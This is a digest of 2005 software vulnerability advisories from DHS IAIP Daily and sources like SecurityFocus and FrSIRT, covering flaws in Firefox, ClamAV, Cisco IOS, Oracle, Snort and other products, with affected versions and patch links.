A vulnerability was reported in Mozilla Firefox in the cross platform component object model (xpcom) implementation. A remote user can cause a target user's browser to crash. A remote user can create specially crafted HTML that, when loaded by the target user, will exploit a race condition in executing dom calls to delete objects in the page before they have been referenced. As a result, an access violation will occur and the target user's browser will crash. A demonstration exploit is available. No solution is currently known to be available.

Category 27.1 Vulnerability assessment
2005-07-25 **PHPFirstpost file vulnerability susceptible PHP code privledges**
DHS IAIP Daily; <http://www.securityfocus.com/bid/14371/info>
PHPFIRSTPOST BLOCK.PHP REMOTE FILE INCLUDE VULNERABILITY

PHPfirstpost is susceptible to a remote PHP file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may exploit this issue to execute arbitrary PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. Currently Security Focus is not aware of any vendor-supplied patches for this issue.

Category 27.1 Vulnerability assessment
2005-07-25 **Sun Microsystems vulnerability multilanguage Japanese unprivileged privledges application libmle Solaris**
DHS IAIP Daily; <http://sunsolve.sun.com/search/document.do?assetkey=1-26-101807-1>
SECURITY VULNERABILITY IN THE MULTILANGUAGE ENVIRONMENT LIBRARY "LIBMLE" SHIPPED WITH THE JAPANESE LOCALE

A security vulnerability in the multilanguage environment library, "libmle" (shipped with the Japanese locale) may allow a local unprivileged user to be able to execute arbitrary code or commands with elevated privileges. The code or commands executed by the user would run with the privileges of the application dynamically linked to the libmle library. This issue is addressed in the following releases: Solaris 7 with patch 111646-01 or later and Solaris 8 with patch 111647-01 or later

Category 27.1 Vulnerability assessment
2005-07-25 **GoodTech SMTP Sever buffer commands flaw error smtpd command exploited compromise system**
DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1199>
GOODTECH SMTP SERVER REMOTE BUFFER OVERFLOW VULNERABILITY

A vulnerability was identified in GoodTech SMTP Server, which could be exploited by remote attackers to execute arbitrary commands. This flaw is due to a buffer overflow error in smtpd when processing a specially crafted "RCPT TO" command, which could be exploited by attackers to compromise a vulnerable system. GoodTech SMTP Server for Windows NT/2000/XP/2003 version 5.16 and prior are affected. Users should upgrade to GoodTech SMTP Server version 5.17: <http://www.goodtechsys.com/smtpdnt2000.asp>

Category 27.1 Vulnerability assessment
2005-07-25 **Clam AV heap Antivirus complete control SMTP SMB HTTP FTP bugs TNEF CHM FSG**

DHS IAIP Daily; <http://www.rem0te.com/public/images/clamav.pdf>
CLAMAV LIBRARY REMOTE HEAP OVERFLOWS SECURITY ADVISORY

ClamAV Antivirus Library is vulnerable to buffer overflows allowing attackers complete control of the system. These vulnerabilities can be exploited remotely without user interaction or authentication through common protocols such as SMTP, SMB, HTTP, FTP, etc. Specifically, ClamAV is responsible for parsing multiple file formats. At least four of its file format processors contain remote security bugs. Specifically, during the processing of TNEF, CHM, & FSG formats an attacker is able to trigger several integer overflows that allow attackers to overwrite heap data to obtain complete control of the system. These vulnerabilities can be reached by default and triggered without user interaction by sending an e-mail containing crafted data. Successful exploitation of ClamAV protected systems allows attackers unauthorized control of data and related privileges. ClamAV 0.86.1 (current) and prior are affected. Users should upgrade to Clam Antivirus (ClamAV) version 0.86.2 : http://sourceforge.net/project/showfiles.php?group_id=86638&release_id=344514

Category 27.1 Vulnerability assessment
2005-07-25 **FTPLocate vulnerability sanitization data commands executed context unauthorized hosting Web server**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14367/discuss>
FTPLOCATE REMOTE COMMAND EXECUTION VULNERABILITY

FtpLocate is prone to a remote arbitrary command execution vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data. An attacker can supply arbitrary commands and have them executed in the context of the server. This issue may facilitate unauthorized remote access to the computer running the hosting Web server. Currently Security Focus is not aware of any vendor-supplied patches for this issue.

Category 27.1 Vulnerability assessment
2005-07-26 **Atomic Photo Album vulnerability compromise server input error exploited malicious arbitrary FrSIRT**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1215>
ATOMIC PHOTO ALBUM "APA_MODULE_BASEDIR" FILE INCLUSION VULNERABILITY

A vulnerability was identified in Atomic Photo Album, which may be exploited by attackers to compromise a vulnerable web server. This flaw is due to an input validation error in the "apa_phpincludefile.inc.php" script when processing a specially crafted "apa_module_basedir" parameter, which may be exploited by remote attackers to include malicious files and execute arbitrary commands with the privileges of the web server. Atomic Photo Album version 1.0.5 and prior are affected. The FrSIRT is not aware of any official supplied patch for this issue.

Category 27.1 Vulnerability assessment
2005-07-26 **IBM Lotus Domino WebMail vulnerability affected disclosure attacks crack account**
DHS IAIP Daily; <http://www.securityfocus.com/bid/14388/discuss>
IBM LOTUS DOMINO WEBMAIL INFORMATION DISCLOSURE VULNERABILITY

IBM Lotus Domino WebMail is affected by an information disclosure vulnerability. An attacker can disclose a user's password hash. They may subsequently carry out brute force attacks to crack the password and gain access to the user's account. Security Focus is not currently aware of any vendor-supplied patches for this issue.

<i>Category</i>	27.1
2005-07-26	Security Tracker Apache buffer overflow vulnerability processing CRLs child printing LogLevel

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Jul/1014575.html>

APACHE MOD_SSL OFF-BY-ONE BUFFER OVERFLOW IN PROCESSING CRLS MAY LET REMOTE USERS DENY SERVICE

A vulnerability was reported in Apache mod_ssl in the processing of certificate revocation lists (CRLs). A remote user may be able to cause denial of service conditions. A remote user can create a specially crafted CRL that, when processed by the Apache mod_ssl callback function, will trigger an off-by-one buffer overflow. A remote user can cause the Apache server child process to crash. The vulnerability can be triggered when printing CRL information at the 'debug' LogLevel. The vendor has issued a source code fix, available via SVN.

<i>Category</i>	27.1
2005-07-26	FrSIRT FtpLocate vulnerability arbitrary flaw input validation error filter pipe character

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1217>

FTPLOCATE "FLSEARCH.PL" REMOTE COMMAND EXECUTION VULNERABILITY

A vulnerability was identified in FtpLocate, which may be exploited by remote attackers to execute arbitrary commands. This flaw is due to an input validation error in the "flsearch.pl" script that does not properly filter a specially crafted "fsite" parameter, which may be exploited by remote attackers to execute arbitrary commands via the pipe character. FtpLocate version 2.02 and prior are affected. The FrSIRT is not aware of any official supplied patch for this issue.

<i>Category</i>	27.1
2005-07-26	FTPShell denial vulnerability prone service failure problem opens closes terminate exploit

DHS IAIP Daily; <http://www.securityfocus.com/bid/14382/info>

FTPSHELL SERVER DENIAL OF SERVICE VULNERABILITY

FTPShell server is prone to a denial of service vulnerability. This issue is due to a failure in the application to handle exceptional conditions. The problem presents itself when an attacker opens and closes, without using the 'quit' command, a connection to the application multiple times. This will cause the application to terminate. An attacker can exploit this vulnerability to deny service to legitimate users. Security Focus is not currently aware of any vendor-supplied patches for this issue.

<i>Category</i>	27.1
2005-07-26	ProFTPD Shutdown Message vulnerability string server shutdown directory trigger

DHS IAIP Daily; <http://www.securityfocus.com/bid/14381/solution>

PROFTPD SHUTDOWN MESSAGE FORMAT STRING VULNERABILITY

A format string vulnerability exists in ProFTPD. This issue is exposed when the server prints a shutdown message containing certain variables such as the current directory. If an attacker could create a directory on the server, it may be possible to trigger this issue. Successful exploitation will result in arbitrary code execution in the context of the server. This issue has been addressed in ProFTPD 1.3.0rc2: <ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.0rc2.tar.gz>

Category 27.1

Vulnerability assessment

2005-07-26

**Security Focus SPI Dynamics WebInspect application script injection vulnerability
data content Internet Explorer COM installation execution**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14385/info>

SPI DYNAMICS WEBINSPECT CROSS APPLICATION SCRIPT INJECTION VULNERABILITY

WebInspect is vulnerable to a cross-application script injection vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied data prior to including it in content rendered in an Internet Explorer COM object. This vulnerability allows attackers to execute arbitrary script code in the context of the vulnerable application. By exploiting the knowledge of predictable files on the targeted system, attackers may also cause arbitrary script code to be executed in the "Local Machine" zone, facilitating remote machine code installation and execution. Security Focus is not currently aware of any vendor-supplied patches for this issue.

Category 27.1

Vulnerability assessment

2005-07-26

**IBM Access Connections Shared Section permissions vulnerability insecure memory
attackers**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14387/info>

IBM ACCESS CONNECTIONS SHARED SECTION INSECURE PERMISSIONS VULNERABILITY

IBM Access Connections utilizes Shared Sections in an insecure manner.

It creates a Shared Section memory region with insecure permissions allowing local attackers to gain inappropriate access to it. Attackers may read the data stored in the memory region, gaining access to potentially sensitive information. They may also write arbitrary data to the shared memory segment, potentially crashing the processes using the segment and denying service to legitimate users. Security Focus is not currently aware of any vendor-supplied patches for this issue.

Category 27.1

Vulnerability assessment

2005-07-27

FrSIRT Sophos Antivirus vulnerability malware overflow malformed e-mail

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/>

SOPHOS ANTIVIRUS PRODUCTS REMOTE HEAP OVERFLOW VULNERABILITY

A critical vulnerability was identified in multiple Sophos AntiVirus products, which may be exploited by remote attackers or malware to execute arbitrary code. This flaw is due to a heap 0 overflow error when analyzing malformed files, which may be exploited by an unauthenticated remote attacker to execute arbitrary commands by sending an e-mail containing a specially crafted attachment to a vulnerable system. No further details have been disclosed. The following products are affected: Sophos Anti-Virus versions prior to 3.96.0 (on Windows, Unix, NetWare, OS/2, OpenVMS); Sophos Anti-Virus versions prior to 4.5.4 (on all platforms); and Sophos Anti-Virus Small Business Edition Sophos Anti-Virus Small Business Edition will be updated by July 29. Users should upgrade to Sophos Anti-Virus version 3.96.0 or 4.5.4: <http://www.sophos.com/support/updates>

Category 27.1

Vulnerability assessment

2005-07-27

**FrSIRT Ethereal Multiple Protocol Dissector Zlib vulnerabilities buffer error string
null LDAP AgentX PER DHCP BER MEGACO GIOP SMB WBXML H1 DOCSIS
SMPP HTTP DCERPC CAMEL RADIUS Telnet NCP**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1237>

ETHEREAL MULTIPLE PROTOCOL DISSECTOR AND ZLIB VULNERABILITIES

Multiple vulnerabilities were identified in Ethereal, which could be exploited by remote attackers to cause a denial of service or execute arbitrary commands. The first issue is due to a buffer overflow error in the Zlib library when decompressing specially crafted data streams, which could be exploited, via a malformed stream embedded within network communication, to execute arbitrary commands. Various buffer overflow, format string, and null pointer vulnerabilities were identified in the LDAP, AgentX, 802.3, PER, DHCP, BER, MEGACO, GIOP, SMB, WBXML, H1, DOCSIS, SMPP, HTTP, DCERPC, CAMEL, RADIUS, Telnet, IS-IS LSP and NCP dissectors, which could be exploited by attackers to compromise a vulnerable system or cause the application to crash. Ethereal versions 0.8.5 through 0.10.11 are affected. Users should upgrade to Ethereal version 0.10.12: <http://www.ethereal.com/download.html>

Category 27.1 Vulnerability assessment
2005-07-27 **Security Focus Novell GroupWise Client buffer vulnerability post office malicious**
DHS IAIP Daily; <http://www.securityfocus.com/bid/14398/discuss>
NOVELL GROUPWISE CLIENT REMOTE BUFFER OVERFLOW VULNERABILITY

Novell GroupWise Client is affected by a remote buffer overflow vulnerability. Specifically, this vulnerability arises when a user attempts to log in to a GroupWise post office that contains a malicious 'GWVW02?.INI' file. This can facilitate unauthorized access in the context of the user. This issue affects all versions of Novell GroupWise 6.5 client dated prior to July 15, 2005. Novell has released Technical Information Documents TID10098314 and TID2971927 including GroupWise 6.5 SP5 Client rev 6 to address this issue.

Category 27.1 Vulnerability assessment
2005-07-27 **VBZooM injection vulnerability SQL input validation error**
DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1234>
VBZOOM "SUBJECTID" PARAMETER REMOTE SQL INJECTION VULNERABILITY

A vulnerability was identified in VBZooM, which may be exploited by remote attackers to execute arbitrary SQL commands. This flaw is due to an input validation error in the "show.php" script when processing a specially crafted "SubjectID" parameter, which may be exploited by remote users to conduct SQL injection attacks. VBZooM version 1.11 and prior are affected. The FrSIRT is not aware of any official supplied patch for this issue.

Category 27.1 Vulnerability assessment
2005-07-27 **Mozilla Suite Firefox script vulnerabilities security JavaScript protocol URIs code installation execution malicious**
DHS IAIP Daily; <http://www.securityfocus.com/bid/13641/info>
MOZILLA SUITE AND FIREFOX MULTIPLE SCRIPT MANAGER SECURITY BYPASS VULNERABILITIES

Multiple issues exist in Mozilla Suite and Firefox. These issues allow attackers to bypass security checks in the script security manager. Security checks in the script security manager are designed to prevent script injection vulnerabilities. An attacker sending certain undisclosed JavaScript in 'view-source:', and 'jar:' pseudo protocol URIs, may bypass these security checks. These vulnerabilities allow remote attackers to execute script code with elevated privileges, leading to the installation and execution of malicious applications on an affected computer. Cross-site scripting, and other attacks are also likely possible. The vendor has released an advisory, as well as upgraded versions of Mozilla Suite, and Mozilla Firefox to resolve these issues.

Category 27.1 Vulnerability assessment
2005-07-27 **eMule Kad Packets Zlib vulnerabilities buffer overflow error library streams**
DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1238>
EMULE KAD PACKETS REMOTE DENIAL OF SERVICE AND ZLIB VULNERABILITIES

Multiple vulnerabilities were identified in eMule, which could be exploited by remote attackers to cause a denial of service or execute arbitrary commands. The first issue is due to a buffer overflow error in the Zlib library when decompressing specially crafted data streams, which could be exploited, via a malformed stream embedded within network communication, to execute arbitrary commands. The second vulnerability is due to an unspecified error when processing malformed Kad packets, which could be exploited by remote attackers to cause a denial of service. eMule version 0.46b and prior are affected. Users should upgrade to eMule version 0.46c

Category 27.1 Vulnerability assessment
2005-07-27 **FrSIRT Cisco IOS vulnerability flaw overflow error attacker arbitrary code device firmware**
DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1248>
CISCO IOS UNSPECIFIED REMOTE HEAP OVERFLOW VULNERABILITY

A vulnerability was identified in Cisco Internet Operating System (IOS), which could be exploited by remote attackers to execute arbitrary commands. This flaw is due to a heap overflow error when processing specially crafted packets, which could be exploited by an unauthenticated attacker to execute arbitrary code and compromise a vulnerable device. Cisco IOS version 12.x and 11.x 1 are affected. It is reported that the vendor has addressed this vulnerability in an April firmware release.

Category 27.1

Vulnerability assessment

2005-09-28

FrSIRT IBM AIX buffer vulnerability priveleges parameters

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1877>

IBM AIX "GETCONF" COMMAND LOCAL BUFFER OVERFLOW VULNERABILITY

A vulnerability has been identified in IBM AIX. This can be exploited by local attackers to obtain elevated privileges. This issue is due to an unspecified error in the "getconf" command that does not properly handle specially crafted parameters. This vulnerability could be exploited by malicious users to execute arbitrary commands with "root" privileges.

Category 27.1

Vulnerability assessment

2005-10-07

IBM HTTP Server PCRE byte vulnerabilities DoS

DHS IAIP Daily; <http://secunia.com/advisories/17036/>

IBM HTTP SERVER PCRE AND BYTE-RANGE FILTER VULNERABILITIES

IBM has acknowledged two vulnerabilities in IBM HTTP Server. These vulnerabilities can be exploited by malicious people to cause a DoS (Denial of Service), or by malicious, local users to gain escalated privileges via a specially crafted ".htaccess" file.

Category 27.1

Vulnerability assessment

2005-10-10

Linux Kernel vulnerabilities trigger denial of service memory

DHS IAIP Daily; <http://www.securityfocus.com/bid/15049/references>

LINUX KERNEL MULTIPLE SECURITY VULNERABILITIES

Linux kernel is prone to multiple vulnerabilities. These issues may allow local and remote attackers to trigger denial of service conditions or disclose sensitive kernel memory. Linux kernel 2.6.x versions are known to be vulnerable at the moment. Other versions may be affected as well. Various patches are available to address these issues:
<http://www.securityfocus.com/bid/15049/references>

Category 27.1

Vulnerability assessment

2005-10-10

Kaspersky Engine CHM parser buffer overflow vulnerability context

DHS IAIP Daily; <http://www.securityfocus.com/bid/15054/info>

KASPERSKY ANTI-VIRUS ENGINE CHM FILE PARSER REMOTE BUFFER OVERFLOW VULNERABILITY

Kaspersky Anti-Virus Engine is prone to a remote buffer overflow vulnerability. This issue presents itself when an attacker sends a maliciously crafted CHM file to an affected computer and this file is processed by Kaspersky's CHM file parser. This vulnerability allows attackers to execute arbitrary machine code in the context of the affected application. Attackers may gain privileged remote access to computers running the affected application. The vendor has released a signature update to address this issue. Users with updated signatures released after July 2005 are not vulnerable.

Category 27.1

Vulnerability assessment

2005-10-10

Computer Associates iGateway buffer vulnerability flaw buffer overflow error HTTP GET debug

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/2028>

COMPUTER ASSOCIATES IGATEWAY REMOTE BUFFER OVERFLOW VULNERABILITY

A vulnerability has been identified in various Computer Associates products, which could be exploited by remote attackers to execute arbitrary commands. This flaw is due to a buffer overflow error in the iGateway component that does not properly handle specially crafted HTTP GET requests (port 5250) when debug mode is enabled, which could be exploited by remote attackers to execute arbitrary commands and compromise a vulnerable system. No solution is currently available.

Category 27.1 Vulnerability assessment

2005-10-10 **PHPMyAdmin vulnerability script code Web access**

DHS IAIP Daily; <http://www.securityfocus.com/bid/15053/info>

PHPMYADMIN LOCAL FILE INCLUDE VULNERABILITY

phpMyAdmin is prone to a local file include vulnerability. An attacker may leverage this issue to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access. phpMyAdmin 2.6.4-pl1 is reported to be vulnerable. Other versions may be affected as well. There are no vendor-supplied patches currently available for this issue.

Category 27.1 Vulnerability assessment

2005-10-10 **imapproxy string vulnerability flaw format server compromise IMAP**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/2014>

IMAPPROXY "PARSEBANNERANDCAPABILITY" FORMAT STRING VULNERABILITY

A vulnerability has been identified in imapproxy, which could be exploited by remote attackers to execute arbitrary commands. This flaw is due to a format string error in the "ParseBannerAndCapability()" [main.c] function that does not properly handle a specially crafted banner/capability line received from the server, which could be exploited by remote attackers to compromise a vulnerable system by convincing a user to connect to a specially crafted IMAP server. The FrSIRT is not aware of any official supplied patch for this issue.

Category 27.1 Vulnerability assessment

2005-10-10 **Shorewall MACLIST vulnerability Netfilter Firewall Client version**

DHS IAIP Daily; <http://www.securiteam.com/unixfocus/6F00C00EAM.html>

SHOREWALL MACLIST SECURITY VULNERABILITY

The Shoreline Firewall, "more commonly known as 'Shorewall', is a high-level tool for configuring Netfilter. You describe your firewall/gateway requirements using entries in a set of configuration files". A problem has been reported in the Shorewall Firewall that enables a Client accepted by MAC-Filter to bypass any other rule. This Issue doesn't apply to any Shorewall Version before 2.2.0. Users of any version before 2.2.5 are encouraged to update to a newer version (at least 2.2.5, better 2.4.1) of Shorewall. Shorewall Version 2.0.x is still supported, but Users of 2.0.x are encouraged to upgrade to a newer version.

Category 27.1 Vulnerability assessment

2005-10-11 **Linux Kernel memory denial of service vulnerabilities crash**

DHS IAIP Daily; <http://www.securityfocus.com/bid/15076/solution>

LINUX KERNEL MULTIPLE MEMORY LEAK LOCAL DENIAL OF SERVICE VULNERABILITIES

Two local denial of service vulnerabilities affects the Linux kernel. These issues are due to a design flaw that creates memory leaks. These vulnerabilities may be exploited by local users to consume excessive kernel resources, likely triggering a kernel crash, denying service to legitimate users. These issues affect Linux kernel versions prior to 2.6.14-rc4. The vendor has released version 2.6.14-rc4 to address these issues.

Category 27.1 Vulnerability assessment

2005-10-11 **SGI IRIX design vulnerability runpriv Silicon Graphics Inc binary directory**

DHS IAIP Daily;
<http://www.idefense.com/application/poi/display?id=312&type=vulnerabilities&flashstatus=true>

SGI IRIX RUNPRIV DESIGN ERROR VULNERABILITY

Local exploitation of a design error vulnerability in the runpriv command included in multiple versions of Silicon Graphics Inc.'s IRIX could allow for arbitrary code execution as the root user. Exploitation requires an attacker to have access to an account which has been granted usage of a binary in the /usr/sysadm/privbin directory. As root must explicitly allow such privileges, the impact of this vulnerability is lessened significantly. Exploitation does not require any knowledge of application internals, making exploitation trivial, even for unskilled attackers. Vendor patch 7004 for IRIX 6.5.27 and 6.5.28 is available at: <http://support.sgi.com/>

Category 27.1 Vulnerability assessment
2005-10-11 **WinRAR string overflow vulnerabilities Two compromise system diagnostic error filename encoded**

DHS IAIP Daily; http://secunia.com/secunia_research/2005-53/advisory/

WINRAR FORMAT STRING AND BUFFER OVERFLOW VULNERABILITIES

Two vulnerabilities in WinRAR can be exploited by malicious people to compromise a user's system. 1) A format string error exists when displaying a diagnostic error message that informs the user of an invalid filename in an UUE/XXE encoded file. This can be exploited to execute arbitrary code when a malicious UUE/XXE file is decoded. 2) A boundary error in UNACEV2.DLL can be exploited to cause a stack-based buffer overflow. This allows arbitrary code execution when a malicious ACE archive containing a file with an overly long file name is extracted. Users should update to version 3.51.

Category 27.1 Vulnerability assessment
2005-10-11 **Alert Microsoft Windows Internet Explorer Exchange Server vulnerabilities denial of service control**

DHS IAIP Daily; <http://www.us-cert.gov/cas/alerts/SA05-284A.html>

MICROSOFT WINDOWS, INTERNET EXPLORER, AND EXCHANGE SERVER VULNERABILITIES

Microsoft has released updates that address critical vulnerabilities in Windows, Internet Explorer, and Exchange Server. Exploitation of these vulnerabilities could allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial of service on an affected system. Exploitation of these vulnerabilities may allow a remote, unauthenticated attacker to execute arbitrary code with SYSTEM privileges or with the privileges of the user. If the user is logged on with administrative privileges, the attacker could take complete control of an affected system. An attacker may also be able to cause a denial of service. Updates are available on the Microsoft Update site: <http://www.microsoft.com/technet/security/bulletin/ms05-oct.mspx>

Category 27.1 Vulnerability assessment
2005-10-12 **Microsoft Windows FTP transversal vulnerability input corruption malicious**

DHS IAIP Daily; <http://www.securityfocus.com/bid/12160/solution>

MICROSOFT WINDOWS FTP CLIENT DIRECTORY TRAVERSAL VULNERABILITY

Microsoft Windows FTP client is prone to a directory traversal vulnerability. This issue is due to a failure of the application to properly sanitize user supplied input. This vulnerability may cause a remote attacker to place files in an arbitrary location on a vulnerable computer. This can lead to data corruption or creation of potentially malicious files on a vulnerable computer.

Category 27.1 Vulnerability assessment
2005-10-12 **VERITAS NetBackup string vulnerability Java command**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/2072>

VERITAS NETBACKUP BPJAVA-MSVC REMOTE FORMAT STRING VULNERABILITY

A vulnerability has been identified in VERITAS NetBackup servers and clients. This could be exploited by remote attackers to execute arbitrary commands. The vulnerability is due to a format string error in the Java authentication service "bpjava-msvc" that does not properly handle a specially crafted "COMMAND_LOGON_TO_MSERVER" command (port 13722), which could be exploited by remote attacker.

Category 27.1 Vulnerability assessment
2005-10-13 **Cisco IOS firewall proxy buffer overflow vulnerability exploitation denial of service arbitrary code security FTP Telnet protocols**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14770/references>

CISCO IOS FIREWALL AUTHENTICATION PROXY BUFFER OVERFLOW VULNERABILITY

Cisco IOS Firewall Authentication Proxy is prone to a buffer overflow condition. Successful exploitation of this issue could cause a denial of service or potential execution of arbitrary code. This feature allows network administrators to apply specific security policies on a per user basis. This issue affects the FTP and Telnet protocols, but not HTTP.

<i>Category</i>	<i>27.1</i>	<i>Vulnerability assessment</i>
2005-10-13		Symantec Brightmail Antispam MIME denial of service vulnerability
DHS IAIP Daily; http://www.securityfocus.com/bid/15087/references		
SYMANTEC BRIGHTMAIL ANTISPAM MALFORMED MIME MESSAGE DENIAL OF SERVICE VULNERABILITY		

Symantec Brightmail AntiSpam is susceptible to a denial of service vulnerability. This may cause a potential denial of service issue that has been identified and fixed in the Symantec Brightmail AntiSpam product.

<i>Category</i>	<i>27.1</i>	<i>Vulnerability assessment</i>
2005-10-14		Computer Associates iGateway debug HTTP GET buffer vulnerability component CA UNIX Linux Windows
DHS IAIP Daily; http://www.securityfocus.com/archive/1/413408		
COMPUTER ASSOCIATES IGATEWAY DEBUG MODE HTTP GET REQUEST BUFFER OVERFLOW VULNERABILITY		

The Computer Associates iGateway common component, which is included with several CA products for UNIX/Linux/Windows platforms, contains a buffer overflow vulnerability. This could allow remote attackers to execute arbitrary code on Windows platforms, or cause iGateway denial of service on UNIX and Linux. The vulnerability is due to improper bounds checking on HTTP GET requests by the iGateway component when debug mode is enabled.

<i>Category</i>	<i>27.1</i>	<i>Vulnerability assessment</i>
2005-10-17		Lynx NNTP buffer overflow vulnerability headers URIs Exploitation execution
DHS IAIP Daily; http://www.securityfocus.com/bid/15117/references		
LYNX NNTP ARTICLE HEADER BUFFER OVERFLOW VULNERABILITY		

Lynx is prone to a buffer overflow when handling NNTP article headers. This issue may be exploited when the browser handles NNTP content, such as through 'news:' or 'nntp:' URIs. Exploitation may result in code execution in the context of the program user.

<i>Category</i>	<i>27.1</i>	<i>Vulnerability assessment</i>
2005-10-17		Security Focus Sun Solaris Proc Filesystem denial of service vulnerability
DHS IAIP Daily; http://www.securityfocus.com/bid/15115/info		
SUN SOLARIS PROC FILESYSTEM LOCAL DENIAL OF SERVICE VULNERABILITY 10-16		

Sun Solaris is prone to a local denial of service vulnerability. This can be susceptible to a system panic in the '/proc' filesystem and cause a denial of service. The system will panic with a message similar to the following: BAD TRAP: type=e (#pf Page fault) rp=d48dce48 addr=24 occurred in module "proefs" due to a NULL pointer dereference.

<i>Category</i>	<i>27.1</i>	<i>Vulnerability assessment</i>
2005-10-18		Oracle October security vulnerabilities Database Server Enterprise Manager Application Server Collaboration Suite E Business Suite and Applications Peoplesoft Enterprise JD Edwards EnterpriseOne
DHS IAIP Daily; http://www.securityfocus.com/bid/15134/info		
ORACLE OCTOBER SECURITY UPDATE MULTIPLE VULNERABILITIES		

Various Oracle Database Server, Oracle Enterprise Manager, Oracle Application Server, Oracle Collaboration Suite, Oracle E-Business Suite and Applications, and Oracle PeopleSoft Enterprise and JD Edwards EnterpriseOne are affected by multiple vulnerabilities. The issues identified by the vendor affect security properties of the Oracle products and present local and remote threats. Oracle has released a Critical Patch Update advisory for October 2005 to address these vulnerabilities. This Critical Patch Update addresses the vulnerabilities for supported releases. Oracle Critical Patch update: http://www.oracle.com/technology/deploy/security/pdf/cpuoct2_005.html

Category 27.1

Vulnerability assessment

2005-10-18

Technical Cyber Security Alert Snort Back Orifice buffer overflow modular ping UDP root SYSTEM

DHS IAIP Daily; <http://www.us-cert.gov/cas/techalerts/TA05-291A.html>

SNORT BACK ORIFICE PREPROCESSOR BUFFER OVERFLOW

Snort preprocessors are modular plugins that extend functionality by operating on packets before the detection engine is run. The Back Orifice preprocessor decodes packets to determine if they contain Back Orifice ping messages. The ping detection code does not adequately limit the amount of data that is read from the packet into a fixed-length buffer, thus creating the potential for a buffer overflow. The vulnerable code will process any UDP packet that is not destined to or sourced from the default Back Orifice port (31337/udp). An attacker could exploit this vulnerability by sending a specially crafted UDP packet to a host or network monitored by Snort. A remote attacker who can send UDP packets to a Snort sensor may be able to execute arbitrary code. Snort typically runs with root or SYSTEM privileges, so an attacker could take complete control of a vulnerable system. An attacker does not need to target a Snort sensor directly; the attacker can target any host or network monitored by Snort. Sourcefire has released Snort 2.4.3: <http://www.snort.org/dl/> Additional information is available in US-CERT Vulnerability Note VU#175500: <http://www.kb.cert.org/vuls/id/177500>

Category 27.1

Vulnerability assessment

2005-10-19

Technical Cyber Security Alert Oracle vulnerabilities Critical Patch Update products components configuration commands information disclosure denial of service

DHS IAIP Daily; <http://www.us-cert.gov/cas/techalerts/TA05-292A.html>

ORACLE PRODUCTS CONTAIN MULTIPLE VULNERABILITIES

Oracle has released a Critical Patch Update that addresses more than eighty vulnerabilities in different Oracle products and components. The impact of these vulnerabilities varies depending on the product, component, and configuration of the system. Potential consequences include remote execution of arbitrary code or commands, information disclosure, and denial of service. An attacker who compromises an Oracle database may be able to gain access to sensitive information. US-CERT recommends that sites running Oracle review the Critical Patch Update, apply patches, and take other mitigating action as appropriate. Critical Patch Update: http://www.oracle.com/technology/deploy/security/pdf/cpoct2_005.html

Category 27.1

Vulnerability assessment

2005-10-19

Avaya CMS IR Solaris Xsun Xprt privilege arbitrary command

DHS IAIP Daily; <http://secunia.com/advisories/17246/>

AVAYA CMS / IR SOLARIS XSUN AND XPRT PRIVILEGE ESCALATION VULNERABILITY

A vulnerability has been found in CMS and IR. This can be exploited by malicious, local users to gain escalated privileges. This vulnerability may allow a local unprivileged user the ability to execute arbitrary code with the privileges of either the Xsun(1) or Xprt(1) command.

Category 27.1

Vulnerability assessment

2005-10-20

HP OpenView operations VantagePoint JRE vulnerability arbitrary commands error Web

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/2150>

HP OPENVIEW OPERATIONS AND OPENVIEW VANTAGEPOINT JRE VULNERABILITY

A vulnerability has been identified in HP OpenView Operations and OpenView VantagePoint. This could be exploited by remote attackers to execute arbitrary commands. This flaw is due to an error in Java Runtime Environment (JRE) and may be exploited via a malicious Web page to read and/write arbitrary files on a vulnerable system and execute local applications with the privileges of the user running the untrusted applet.

Category 27.1 Vulnerability assessment

2005-10-21 **Microsoft patch problem DirectShow media software DirectX**

DHS IAIP Daily; <http://www.computerworld.com/securitytopics/security/holes/story/0,10801,105646,00.html>

MICROSOFT REPORTS SECOND PATCH PROBLEM; WINDOWS 2000 USERS MAY BE UNPROTECTED

A critical patch – Security Update MS05-050 – released by Microsoft on October 11 as part of the company's monthly security software fixes related to Microsoft's DirectShow streaming media software may have left users vulnerable. Microsoft DirectX 8.0 or 9.0 users who may have accidentally installed the patch written for DirectX 7.0 will still be vulnerable to the underlying vulnerability. The patch is supposed to address a problem in DirectShow that could allow an attacker to seize control of an unpatched system. According to Microsoft, customers who received Update MS05-050 automatically or who correctly followed the steps in Microsoft's security bulletin won't be affected. Another patch released on October 11 – MS05-051 – gave users difficulties as well. Microsoft Security Bulletin: <http://www.microsoft.com/technet/security/bulletin/ms05-oct.mspx>

Category 27.1 Vulnerability assessment

2005-10-22 **Sophos visio processing overflow vulnerability bounds checking integrity OSVDB**

DHS IAIP Daily; http://www.osvdb.org/displayvuln.php?osvdb_id=18464

SOPHOS ANTI-VIRUS VISIO FILE PROCESSING OVERFLOW VULNERABILITY

